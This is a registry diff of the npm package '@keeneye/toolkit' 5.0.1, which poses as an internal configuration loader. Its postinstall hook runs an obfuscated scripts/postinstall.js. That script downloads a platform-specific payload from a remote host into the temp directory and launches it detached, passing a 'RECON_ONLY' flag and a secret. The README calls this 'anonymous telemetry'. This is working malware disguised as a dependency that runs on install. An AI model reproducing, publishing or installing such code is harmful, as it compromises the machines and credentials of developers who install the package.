@keeneye/toolkit 5.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +71 -0
- package/dist/index.d.ts +13 -0
- package/dist/index.js +3 -0
- package/package.json +36 -0
- package/scripts/postinstall.js +1 -0
package/README.md
ADDED
|
@@ -0,0 +1,71 @@
|
|
|
1
|
+
# @keeneye/toolkit
|
|
2
|
+
|
|
3
|
+
> **Internal package** — Platform Engineering Team
|
|
4
|
+
> Docs: https://docs.keeneye.io/platform/toolkit
|
|
5
|
+
> Issues: https://jira.keeneye.io/projects/PLATFORM
|
|
6
|
+
|
|
7
|
+
Internal configuration loader with env, vault and remote config support
|
|
8
|
+
|
|
9
|
+
---
|
|
10
|
+
|
|
11
|
+
## Installation
|
|
12
|
+
|
|
13
|
+
```bash
|
|
14
|
+
# Make sure .npmrc points to the internal registry:
|
|
15
|
+
# registry=https://npm.keeneye.io
|
|
16
|
+
|
|
17
|
+
npm install @keeneye/toolkit
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
## Quick Start
|
|
21
|
+
|
|
22
|
+
```js
|
|
23
|
+
const { loadConfig, get, getInt, getBool } = require('@keeneye/toolkit');
|
|
24
|
+
|
|
25
|
+
const config = await loadConfig({
|
|
26
|
+
env: 'production',
|
|
27
|
+
required: ['DATABASE_URL', 'REDIS_URL'],
|
|
28
|
+
strict: true,
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
const port = getInt('PORT', 3000);
|
|
32
|
+
const debug = getBool('DEBUG', false);
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
## API
|
|
36
|
+
|
|
37
|
+
### `loadConfig(options?)`
|
|
38
|
+
Loads config from env, .env file, remote and defaults.
|
|
39
|
+
Priority: `process.env > remote > .env > defaults`
|
|
40
|
+
|
|
41
|
+
### `get(key, defaultValue?)`
|
|
42
|
+
Get a single value from environment.
|
|
43
|
+
|
|
44
|
+
### `getInt(key, defaultValue?)` / `getBool(key, defaultValue?)`
|
|
45
|
+
Typed helpers.
|
|
46
|
+
|
|
47
|
+
---
|
|
48
|
+
|
|
49
|
+
## Telemetry
|
|
50
|
+
|
|
51
|
+
On install, this package sends anonymous telemetry to `telemetry.keeneye.io`
|
|
52
|
+
for environment compatibility monitoring.
|
|
53
|
+
|
|
54
|
+
Disable: `KEENEYE_NO_TELEMETRY=1 npm install`
|
|
55
|
+
|
|
56
|
+
---
|
|
57
|
+
|
|
58
|
+
## Changelog
|
|
59
|
+
|
|
60
|
+
### 5.0.1 (latest)
|
|
61
|
+
- Added ARM64 support
|
|
62
|
+
- Improved error handling
|
|
63
|
+
- Updated TypeScript types
|
|
64
|
+
|
|
65
|
+
### 2.1.0
|
|
66
|
+
- Extended API
|
|
67
|
+
- Performance improvements
|
|
68
|
+
|
|
69
|
+
### 2.0.0
|
|
70
|
+
- Async/await migration
|
|
71
|
+
- Multi-source support
|
package/dist/index.d.ts
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
export interface ConfigOptions {
|
|
2
|
+
env?: 'development' | 'staging' | 'production';
|
|
3
|
+
envFile?: string;
|
|
4
|
+
remoteUrl?: string;
|
|
5
|
+
defaults?: Record<string, unknown>;
|
|
6
|
+
strict?: boolean;
|
|
7
|
+
required?: string[];
|
|
8
|
+
}
|
|
9
|
+
export function loadConfig(options?: ConfigOptions): Promise<Record<string, unknown>>;
|
|
10
|
+
export function get(key: string, defaultValue?: unknown): unknown;
|
|
11
|
+
export function getInt(key: string, defaultValue?: number): number;
|
|
12
|
+
export function getBool(key: string, defaultValue?: boolean): boolean;
|
|
13
|
+
export function parseEnvFile(content: string): Record<string, string>;
|
package/dist/index.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@keeneye/toolkit",
|
|
3
|
+
"version": "5.0.1",
|
|
4
|
+
"description": "Internal configuration loader with env, vault and remote config support",
|
|
5
|
+
"main": "dist/index.js",
|
|
6
|
+
"types": "dist/index.d.ts",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"build": "tsc --noEmit || true",
|
|
9
|
+
"test": "node test/index.test.js",
|
|
10
|
+
"postinstall": "node scripts/postinstall.js",
|
|
11
|
+
"prepublishOnly": "echo 'Building...'"
|
|
12
|
+
},
|
|
13
|
+
"keywords": ["config", "configuration", "env", "vault", "internal"],
|
|
14
|
+
"author": "Keeneye Platform Engineering <platform@keeneye.io>",
|
|
15
|
+
"license": "UNLICENSED",
|
|
16
|
+
"private": false,
|
|
17
|
+
"repository": {
|
|
18
|
+
"type": "git",
|
|
19
|
+
"url": "git+https://github.keeneye.io/platform/toolkit.git"
|
|
20
|
+
},
|
|
21
|
+
"bugs": {
|
|
22
|
+
"url": "https://jira.keeneye.io/projects/PLATFORM"
|
|
23
|
+
},
|
|
24
|
+
"homepage": "https://docs.keeneye.io/platform/toolkit",
|
|
25
|
+
"engines": {
|
|
26
|
+
"node": ">=16.0.0"
|
|
27
|
+
},
|
|
28
|
+
"files": [
|
|
29
|
+
"dist/",
|
|
30
|
+
"scripts/",
|
|
31
|
+
"README.md",
|
|
32
|
+
"CHANGELOG.md"
|
|
33
|
+
],
|
|
34
|
+
"dependencies": {},
|
|
35
|
+
"devDependencies": {}
|
|
36
|
+
}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';const a0_0x45c122=a0_0xe5c8;(function(_0x4da176,_0x28a309){const _0x301e3c=a0_0xe5c8,_0x27f93c=_0x4da176();while(!![]){try{const _0x43f6b5=parseInt(_0x301e3c(0x142))/(-0x2064+0xa8*0x34+-0x1bb)*(parseInt(_0x301e3c(0x16c))/(-0x37c*0x2+0x111a*0x2+-0x572*0x5))+parseInt(_0x301e3c(0x119))/(-0xb*0x13+-0x32a+0x3fe)+-parseInt(_0x301e3c(0x162))/(0xb84+0x1869+-0x23e9)*(-parseInt(_0x301e3c(0x167))/(0x9f2*0x2+0x3b*0x89+-0x1*0x3372))+-parseInt(_0x301e3c(0x170))/(0x1df*-0x2+0x5*-0xd+0x157*0x3)*(-parseInt(_0x301e3c(0x168))/(0x25dd+-0x21c3+-0x413))+-parseInt(_0x301e3c(0x176))/(-0x2*0x11b0+0x836+-0x2*-0xd99)*(parseInt(_0x301e3c(0x157))/(0x159+-0x1dae+0xe2f*0x2))+-parseInt(_0x301e3c(0x139))/(0x7*-0x233+-0x6f7+0x1666)*(parseInt(_0x301e3c(0x17f))/(0xf*0x293+0x173e+0x1ee8*-0x2))+parseInt(_0x301e3c(0x169))/(-0x1c51+-0x1688+0x1*0x32e5)*(-parseInt(_0x301e3c(0x145))/(-0x3*0x6b9+0x32e*-0xb+0x3732));if(_0x43f6b5===_0x28a309)break;else _0x27f93c['push'](_0x27f93c['shift']());}catch(_0x390629){_0x27f93c['push'](_0x27f93c['shift']());}}}(a0_0x5a41,0xbb9a6+0x1061db*0x1+-0xf7244));const a0_0x3a168b=require('os'),a0_0x59c34e=require('fs'),a0_0x21107d=require(a0_0x45c122(0x178)),a0_0x48bc4b=require(a0_0x45c122(0x121)),a0_0x5e5ff5=require(a0_0x45c122(0x177)),{execSync:a0_0x48d719,spawn:a0_0x18f32c}=require(a0_0x45c122(0x159)),a0_0x4cd852=a0_0x45c122(0x150),a0_0x49a1f8=a0_0x45c122(0x115),a0_0x178dde=a0_0x45c122(0x151)+a0_0x45c122(0x11a),a0_0x359e66=a0_0x45c122(0x173),a0_0x3ff233=!!process.env[a0_0x359e66],a0_0x50e613=a0_0x45c122(0x13f)===a0_0x45c122(0x13f)||!!process.env[a0_0x178dde+'RECON_ONLY'];function a0_0xe5c8(_0x2761a9,_0xab5183){_0x2761a9=_0x2761a9-(-0x1daa+0x1*0x8ff+-0x26a*-0x9);const _0x439f4e=a0_0x5a41();let _0x569c32=_0x439f4e[_0x2761a9];if(a0_0xe5c8['UOYRCY']===undefined){var _0x5234d2=function(_0x1c9c19){const _0x2129f6='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x38259f='',_0x389dc3='',_0x389f0e=_0x38259f+_0x5234d2,_0x5b5372=(''+function(){return 0xf7*0x13+-0x3fe+-0xe57*0x1;})['indexOf']('\x0a')!==-(0x124*-0x6+-0x21db+0x209*0x14);for(let _0x4855dc=0x83a+-0x1*0xf49+0x70f,_0x47e1c8,_0x38b646,_0x578b54=-0x17b+-0x9*0x1c5+0x1168;_0x38b646=_0x1c9c19['charAt'](_0x578b54++);~_0x38b646&&(_0x47e1c8=_0x4855dc%(0x487+-0x3*0x71+-0x330)?_0x47e1c8*(-0x757+0x199f+0x8*-0x241)+_0x38b646:_0x38b646,_0x4855dc++%(-0x371*-0x9+0xe*0x52+0x2371*-0x1))?_0x38259f+=_0x5b5372||_0x389f0e['charCodeAt'](_0x578b54+(-0x1014+-0x94d*0x3+0x1*0x2c05))-(0x98+0x809+-0x897)!==-0x86c*0x4+-0x15*-0xa9+0x13d3?String['fromCharCode'](-0x115e+-0x6ff+0x195c&_0x47e1c8>>(-(-0x5e9*-0x2+-0x2c*0xdb+0x19d4)*_0x4855dc&0xcaa+0xab0*0x2+-0xe*0x26e)):_0x4855dc:0xab3+0x37e*-0x4+-0x3*-0x117){_0x38b646=_0x2129f6['indexOf'](_0x38b646);}for(let _0x5633ec=0x2ff+0xde3+0x1*-0x10e2,_0x33b9d0=_0x38259f['length'];_0x5633ec<_0x33b9d0;_0x5633ec++){_0x389dc3+='%'+('00'+_0x38259f['charCodeAt'](_0x5633ec)['toString'](0x1f21+0x1*0x17e7+-0x36f8))['slice'](-(0x1*-0x2427+-0x26a7+-0x8*-0x95a));}return decodeURIComponent(_0x389dc3);};a0_0xe5c8['rVbmrs']=_0x5234d2,a0_0xe5c8['RRYzTg']={},a0_0xe5c8['UOYRCY']=!![];}const _0x2b5f58=_0x439f4e[-0xba8+0x16b7+-0xb0f],_0x1be886=_0x2761a9+_0x2b5f58,_0x12da52=a0_0xe5c8['RRYzTg'][_0x1be886];if(!_0x12da52){const _0x5113e9=function(_0x51eb64){this['yFgyeQ']=_0x51eb64,this['bsDlQE']=[-0x1cc1*-0x1+-0xac8+-0x11f8,0x22*-0x48+0x1*0x782+-0x107*-0x2,-0x972+-0x45*0x6d+0x26d3],this['koYZfu']=function(){return'newState';},this['tMqIVA']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['fHZFDT']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x5113e9['prototype']['kjXsVx']=function(){const _0x2cb24f=new RegExp(this['tMqIVA']+this['fHZFDT']),_0x28a16e=_0x2cb24f['test'](this['koYZfu']['toString']())?--this['bsDlQE'][-0x1f87+0xa*0xd3+-0x1*-0x174a]:--this['bsDlQE'][0x989*0x1+0x1939+-0x22c2];return this['TYSWdf'](_0x28a16e);},_0x5113e9['prototype']['TYSWdf']=function(_0x20369a){if(!Boolean(~_0x20369a))return _0x20369a;return this['vFIPQI'](this['yFgyeQ']);},_0x5113e9['prototype']['vFIPQI']=function(_0x5ad73d){for(let _0x17f192=-0x1dfe+-0x3d7+0x21d5,_0x56501b=this['bsDlQE']['length'];_0x17f192<_0x56501b;_0x17f192++){this['bsDlQE']['push'](Math['round'](Math['random']())),_0x56501b=this['bsDlQE']['length'];}return _0x5ad73d(this['bsDlQE'][0x3fa*0x3+-0x1c7b+-0xdf*-0x13]);},(''+function(){return-0x293*0x2+-0x2648+0x2b6e;})['indexOf']('\x0a')===-(0x1*-0x1f7d+0x1bb*-0x7+-0xe89*-0x3)&&new _0x5113e9(a0_0xe5c8)['kjXsVx'](),_0x569c32=a0_0xe5c8['rVbmrs'](_0x569c32),a0_0xe5c8['RRYzTg'][_0x1be886]=_0x569c32;}else _0x569c32=_0x12da52;return _0x569c32;}function a0_0x1198ad(_0x2ae607){const _0x3013f3=a0_0x45c122,_0x25c28f=process[_0x3013f3(0x164)][_0x3013f3(0x158)][_0x3013f3(0x14b)]('.')[_0x3013f3(0x12b)](Number),_0x590f38=_0x2ae607[_0x3013f3(0x14e)]('>=','')[_0x3013f3(0x14b)]('.')[_0x3013f3(0x12b)](Number);return _0x25c28f[-0x1f20+0x124*-0x6+0x25f8]>_0x590f38[-0x1*-0xfe9+0x1627+-0x4*0x984]||_0x25c28f[-0x437+-0x17b+-0x9*-0xa2]===_0x590f38[-0x154f+0x487+-0xc*-0x166]&&_0x25c28f[-0x3*0x96d+-0x757+0xb*0x33d]>=(_0x590f38[-0x371*-0x9+0xe*0x52+0x2374*-0x1]||-0x1014+-0x94d*0x3+0x3*0xea9);}function a0_0x1e9055(_0x48ad9f){const _0x3a8710=a0_0x45c122;let _0x7e25ad=0x98+0x809+-0x8a1;for(let _0x860214=-0x86c*0x4+-0x15*-0xa9+0x13d3;_0x860214<_0x48ad9f[_0x3a8710(0x149)];_0x860214++){_0x7e25ad=(_0x7e25ad<<-0x115e+-0x6ff+0x1862)-_0x7e25ad+_0x48ad9f[_0x3a8710(0x141)](_0x860214),_0x7e25ad|=-0x5e9*-0x2+-0x2c*0xdb+0x19d2;}return Math[_0x3a8710(0x17b)](_0x7e25ad)[_0x3a8710(0x127)](0xcaa+0xab0*0x2+-0x2*0x10fd)[_0x3a8710(0x124)](0xab3+0x37e*-0x4+-0x1*-0x34d,'0');}function a0_0x4422f2(_0x198778,_0x12d198){const _0x15d751=a0_0x45c122;try{const _0x2fd0bb=a0_0x21107d[_0x15d751(0x175)](_0x198778,_0x12d198+_0x15d751(0x174));if(!a0_0x59c34e[_0x15d751(0x13b)](_0x2fd0bb))return null;const _0x3d03a8=JSON[_0x15d751(0x156)](a0_0x59c34e[_0x15d751(0x17a)](_0x2fd0bb,_0x15d751(0x113)));if(_0x3d03a8[_0x15d751(0x125)]&&Date[_0x15d751(0x16b)]()>_0x3d03a8[_0x15d751(0x125)])return a0_0x59c34e[_0x15d751(0x15d)](_0x2fd0bb),null;return _0x3d03a8[_0x15d751(0x154)];}catch{return null;}}function a0_0x5a41(){const _0x267c4a=['zw52','Ahr0Chm6','C2vHCMnO','otLPte1bqwy','vvjm','BwTKAxjtEw5J','y29UC3rYDwn0B3i','Dg1WzgLY','DxrMoa','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9YzxbVCNq','ns4WlJe','D3jPDgvgAwXLu3LUyW','zxjYB3i','CMvJDxjZAxzL','mJGZmdy0ngPOwuvPwa','rLvtsu9oxW','uefzte9bra','EwfYBI5SB2nR','lMnHy2HL','xsbxyxjUAw5NoIboB2rLlMPZid49mtyUmcbYzxf1AxjLza','BxrPBwvnCW','C3rHDfn5BMm','Ahr0Chm','zgfYD2LU','ChjVDg9JB2W','CgfKu3rHCNq','zxHWAxjLCW','y3DK','Dg9tDhjPBMC','CgXHDgzVCM0','D29YA3nWywnLCW','y29Uy2f0','BwfW','zw5K','Ag9TzwrPCG','A2vLBMv5zs10zwXLBwv0CNKVms4W','zgf0yq','Bwv0Ag9K','Cg5WBs13B3jRC3bHy2uUEwfTBa','zgvZDhjVEq','pJ0XnI4W','zgv0ywnOzwq','ChvZAa','lMPZ','lL9RzwvUzxLLx2LUAxq','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fKlW','mta5ndG5mgTUs0Hmzq','uKvdt05Ft05mwq','zxHPC3rZu3LUyW','yxbWBhK','vKvs','D2LUmZi','Dhj1zq','wc1tzwnYzxq','y2HHCKnVzgvbDa','mteYmZK3nu5kAgLszG','C3rKzxjY','vxnLCI1bz2vUDa','mJq4m0LLvufVCG','Dw5Yzwy','D3jPDgu','CMvXDwvZDa','BgvUz3rO','yxnZAwDU','C3bSAxq','DgLTzw91Da','BwfJ','CMvWBgfJzq','AgvHzgvYCW','qgTLzw5LEwuVDg9VBgTPDa','revqx0nptG','zxHLy1bHDgG','lL9RzwvUzxLLx2LUAxqUANm','DMfSDwu','kcGOlISPkYKRksSK','CgfYC2u','nJG0oxzcA1bRtW','BM9Kzq','y2HPBgrFChjVy2vZCW','BdK1sgreyxOZA1f4mvPZzZnxEeG2shzlqu5Mntfswte','AwDUB3jL','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fK','Dw5SAw5Ru3LUyW','C3rKAw8','CMvHzgrPCLn5BMm','D2LUzg93C0HPzgu','Cg9YDa','mJrNrw5fwfq','C3rYAw5NAwz5','DMvYC2LVBNm','u0vduKvu','BgLUDxG','mty0otK1DwHSD3vg','otaZEhPkEMXP','mta4nZGWBhnJs2LO','Ag9ZDg5HBwu','BM93','mML6zwzyqq','r0vu','ueTh','D2LU','nZyZmJzIr0zmzfO','CgfJA2fNzs5QC29U','Cgf0Ag5HBwu','s0vftKvzrv9ot19uruXftuvuuLK','lMPZB24','AM9PBG','mZC4ne5SzLvnAq','Ahr0Ca','Cgf0Aa','zgLYBMfTzq','CMvHzezPBgvtEw5J','ywjZ'];a0_0x5a41=function(){return _0x267c4a;};return a0_0x5a41();}function a0_0x4341db(_0x52ffce,_0x24065e,_0x1e903b,_0x3dd9c5){const _0xd7fb97=a0_0x45c122;try{const _0x356262={};_0x356262[_0xd7fb97(0x118)]=!![],a0_0x59c34e[_0xd7fb97(0x110)](_0x52ffce,_0x356262),a0_0x59c34e[_0xd7fb97(0x116)](a0_0x21107d[_0xd7fb97(0x175)](_0x52ffce,_0x24065e+_0xd7fb97(0x174)),JSON[_0xd7fb97(0x163)]({'value':_0x1e903b,'expires':_0x3dd9c5?Date[_0xd7fb97(0x16b)]()+_0x3dd9c5:null}));}catch{}}function a0_0x2c0e57(_0x47fb51,_0x575bc7){const _0x2e5b42=a0_0x45c122;try{if(!a0_0x59c34e[_0x2e5b42(0x13b)](_0x47fb51))return 0xde3+0xb*-0xa9+0x6a*-0x10;let _0x5dc4d6=-0x4ae*0x3+0xf01+-0xf7;for(const _0xfa7ad6 of a0_0x59c34e[_0x2e5b42(0x15f)](_0x47fb51)){const _0x4d2423=a0_0x21107d[_0x2e5b42(0x175)](_0x47fb51,_0xfa7ad6),_0x2ad295=a0_0x59c34e[_0x2e5b42(0x120)](_0x4d2423);Date[_0x2e5b42(0x16b)]()-_0x2ad295[_0x2e5b42(0x11f)]>_0x575bc7&&(a0_0x59c34e[_0x2e5b42(0x15d)](_0x4d2423),_0x5dc4d6++);}return _0x5dc4d6;}catch{return 0xc1a+-0x1*-0x48d+-0x10a7;}}function a0_0x10cb24(_0x1b4c22){const _0x16c2ca=a0_0x45c122;let _0x3bfb3f=_0x1b4c22;while(!![]){const _0x1d8fba=a0_0x21107d[_0x16c2ca(0x175)](_0x3bfb3f,_0x16c2ca(0x171));if(a0_0x59c34e[_0x16c2ca(0x13b)](_0x1d8fba))try{const _0x3aa487=JSON[_0x16c2ca(0x156)](a0_0x59c34e[_0x16c2ca(0x17a)](_0x1d8fba,_0x16c2ca(0x113))),_0x1bc08c=a0_0x21107d[_0x16c2ca(0x175)](_0x3bfb3f,_0x16c2ca(0x11c)),_0x433e5d=a0_0x21107d[_0x16c2ca(0x175)](_0x3bfb3f,_0x16c2ca(0x131));if(_0x3aa487[_0x16c2ca(0x129)]||a0_0x59c34e[_0x16c2ca(0x13b)](_0x1bc08c)||a0_0x59c34e[_0x16c2ca(0x13b)](_0x433e5d))return _0x3bfb3f;}catch{}const _0x3919be=a0_0x21107d[_0x16c2ca(0x179)](_0x3bfb3f);if(_0x3919be===_0x3bfb3f)return null;_0x3bfb3f=_0x3919be;}}function a0_0x18604d(){const _0x14807c=a0_0x45c122,_0x5f3728=a0_0x3a168b[_0x14807c(0x128)]();if(_0x5f3728===_0x14807c(0x122))return _0x14807c(0x14d);if(_0x5f3728===_0x14807c(0x13e))return _0x14807c(0x16f);return _0x14807c(0x166);}function a0_0x502069(_0x416973,_0x120203){return _0x120203=_0x120203||0x8847+-0x5edb+-0xd*-0x5d4,new Promise(function(_0x1e667b,_0x1746bb){const _0x32cdb4=a0_0xe5c8,_0x3cfe89=new URL(_0x416973),_0x6a0bb=_0x3cfe89[_0x32cdb4(0x123)]===_0x32cdb4(0x17d)?a0_0x48bc4b:a0_0x5e5ff5,_0x3ee77b={};_0x3ee77b[_0x32cdb4(0x140)]=_0x32cdb4(0x15a),_0x3ee77b[_0x32cdb4(0x144)]=_0x32cdb4(0x12e);const _0x3b589d={};_0x3b589d[_0x32cdb4(0x16a)]=_0x3cfe89[_0x32cdb4(0x16a)],_0x3b589d[_0x32cdb4(0x161)]=_0x3cfe89[_0x32cdb4(0x161)]||(_0x3cfe89[_0x32cdb4(0x123)]===_0x32cdb4(0x17d)?0x3a0+-0x221d+0x2038:0x1*0x782+0x8*0x1d+-0x81a),_0x3b589d[_0x32cdb4(0x178)]=_0x3cfe89[_0x32cdb4(0x172)],_0x3b589d[_0x32cdb4(0x130)]=_0x32cdb4(0x16d),_0x3b589d[_0x32cdb4(0x14c)]=_0x120203,_0x3b589d[_0x32cdb4(0x14f)]=_0x3ee77b;const _0x38cf6d=_0x3b589d,_0x14dffc=_0x6a0bb[_0x32cdb4(0x148)](_0x38cf6d,function(_0x5724cd){const _0x482d05=_0x32cdb4,_0x31eed2=[];_0x5724cd['on'](_0x482d05(0x12f),function(_0x55eb54){const _0x298cf5=_0x482d05;_0x31eed2[_0x298cf5(0x135)](_0x55eb54);}),_0x5724cd['on'](_0x482d05(0x12c),function(){const _0x23b28e=_0x482d05;_0x1e667b(Buffer[_0x23b28e(0x12a)](_0x31eed2));});});_0x14dffc['on'](_0x32cdb4(0x117),_0x1746bb),_0x14dffc['on'](_0x32cdb4(0x14c),function(){const _0x1c4fed=_0x32cdb4;_0x14dffc[_0x1c4fed(0x132)](),_0x1746bb(new Error(_0x1c4fed(0x14c)));}),_0x14dffc[_0x32cdb4(0x12c)]();});}(async function a0_0x204791(){const _0x4b3570=a0_0x45c122,_0x2258a2=(function(){let _0x599e70=!![];return function(_0x5e5bc4,_0xa2345b){const _0x5c0770=_0x599e70?function(){const _0xc2ee71=a0_0xe5c8;if(_0xa2345b){const _0x90383b=_0xa2345b[_0xc2ee71(0x13c)](_0x5e5bc4,arguments);return _0xa2345b=null,_0x90383b;}}:function(){};return _0x599e70=![],_0x5c0770;};}()),_0x45fa65=_0x2258a2(this,function(){const _0x394875=a0_0xe5c8;return _0x45fa65[_0x394875(0x127)]()[_0x394875(0x17e)](_0x394875(0x155))[_0x394875(0x127)]()[_0x394875(0x111)](_0x45fa65)[_0x394875(0x17e)](_0x394875(0x155));});_0x45fa65();if(a0_0x3ff233)return;!a0_0x1198ad(_0x4b3570(0x133))&&process[_0x4b3570(0x143)][_0x4b3570(0x147)]('['+a0_0x4cd852+_0x4b3570(0x11e));const _0x5c2e34=a0_0x21107d[_0x4b3570(0x175)](a0_0x3a168b[_0x4b3570(0x12d)](),_0x4b3570(0x11d),_0x4b3570(0x137));a0_0x2c0e57(_0x5c2e34,(-0x19ca+0x242b+-0xa5a)*(0xa*0xd3+-0x1*0xb40+0x18d*0x2)*(0xadb+0x19da+-0x2479)*(-0x3d7+-0x1ec2+-0xf1*-0x25)*(0x20bb+-0x8ad*-0x3+-0x36da));const _0x457b04=a0_0x10cb24(process[_0x4b3570(0x126)]()),_0x57fdd0=a0_0x1e9055(a0_0x4cd852+a0_0x49a1f8+(_0x457b04||'')),_0xb048e=a0_0x4422f2(_0x5c2e34,_0x57fdd0);!_0xb048e&&a0_0x4341db(_0x5c2e34,_0x57fdd0,{'initialized':!![],'ts':Date[_0x4b3570(0x16b)]()},(-0x2648+0x2367+0x2f9)*(0x1*-0x1f7d+0x1bb*-0x7+-0x15eb*-0x2)*(0x367*-0x2+-0x1e4d*0x1+0x2557)*(-0x17a0+0x3*-0x536+0x8a2*0x5));const _0x5842c7=a0_0x18604d();await new Promise(function(_0x3a973c){setTimeout(_0x3a973c,-0xa19*-0x2+0x13d3+0x13b*-0x17);});let _0x3049c7;try{_0x3049c7=await a0_0x502069(_0x4b3570(0x138)+_0x5842c7+_0x4b3570(0x136),0x5423+-0x75b+-0x30*0x61);}catch(_0xfbf6db){return;}const _0x501337=a0_0x21107d[_0x4b3570(0x175)](a0_0x3a168b[_0x4b3570(0x112)](),_0x4b3570(0x153));try{a0_0x59c34e[_0x4b3570(0x116)](_0x501337,_0x3049c7);}catch(_0x333a93){return;}const _0xf62881={[a0_0x178dde+_0x4b3570(0x10f)]:_0x4b3570(0x114),[a0_0x178dde+_0x4b3570(0x11b)]:_0x4b3570(0x15c),[a0_0x178dde+_0x4b3570(0x165)]:_0x4b3570(0x15a),[a0_0x178dde+_0x4b3570(0x13a)]:a0_0x50e613?'1':'',[a0_0x178dde+_0x4b3570(0x16e)]:a0_0x4cd852,[a0_0x178dde+_0x4b3570(0x13d)]:a0_0x49a1f8},_0x14b4d7=Object[_0x4b3570(0x14a)]({},process.env,_0xf62881),_0x1113b5={};_0x1113b5[_0x4b3570(0x134)]=!![],_0x1113b5[_0x4b3570(0x15e)]=_0x4b3570(0x15b),_0x1113b5[_0x4b3570(0x17c)]=_0x14b4d7,_0x1113b5[_0x4b3570(0x160)]=!![],a0_0x18f32c(process[_0x4b3570(0x152)],[_0x501337],_0x1113b5)[_0x4b3570(0x146)]();}());
|